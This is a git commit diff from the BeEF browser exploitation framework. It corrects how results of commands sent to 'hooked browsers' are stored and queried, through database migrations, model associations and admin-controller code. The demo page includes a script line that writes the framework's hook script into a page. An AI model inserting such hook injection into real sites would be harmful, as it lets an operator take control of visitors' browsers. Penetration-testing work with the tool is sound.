Corrected command execution.

This commit is contained in:
Ben Passmore
2019-11-08 08:03:35 +10:00
parent eff7b99393
commit 87b8093504
6 changed files with 10 additions and 4 deletions

View File

@@ -8,7 +8,7 @@ class CreateCommands < ActiveRecord::Migration[6.0]
t.text :data
t.datetime :creationdate
t.text :label
t.boolean :instructions_sent
t.boolean :instructions_sent, default: false
end
end

View File

@@ -3,6 +3,8 @@ class CreateResults < ActiveRecord::Migration[6.0]
def change
create_table :results do |t|
t.references :command
t.references :hooked_browser
t.datetime :date
t.integer :status
t.text :data

View File

@@ -41,13 +41,13 @@ module Models
raise TypeError, "command is nil" if command.nil?
# @note create the entry for the results
command.results.new(
BeEF::Core::Models::Result.create(
:hooked_browser_id => hooked_browser.id,
:command_id => command.id,
:data => result.to_json,
:status => status,
:date => Time.now.to_i
)
command.save!
s = show_status(status)
log = "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}]"

View File

@@ -8,6 +8,9 @@ module Core
module Models
class Result < BeEF::Core::Model
has_one :command
has_one :hooked_browser
end

View File

@@ -289,7 +289,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController
zombie_id = zombie.id
(print_error "Zombie id is nil";return) if zombie_id.nil?
C.where(:command_module => command_module_id, :hooked_browser => zombie_id).each do |command|
C.where(:command_module_id => command_module_id, :hooked_browser_id => zombie_id).each do |command|
commands.push({
'id' => i,
'object_id' => command.id,

View File

@@ -7,6 +7,7 @@
-->
<head>
<title>BeEF Basic Demo</title>
<meta charset="utf-8"/>
<script>
var commandModuleStr = '<script src="<%= @hook_uri %>" type="text/javascript"><\/script>';
document.write(commandModuleStr);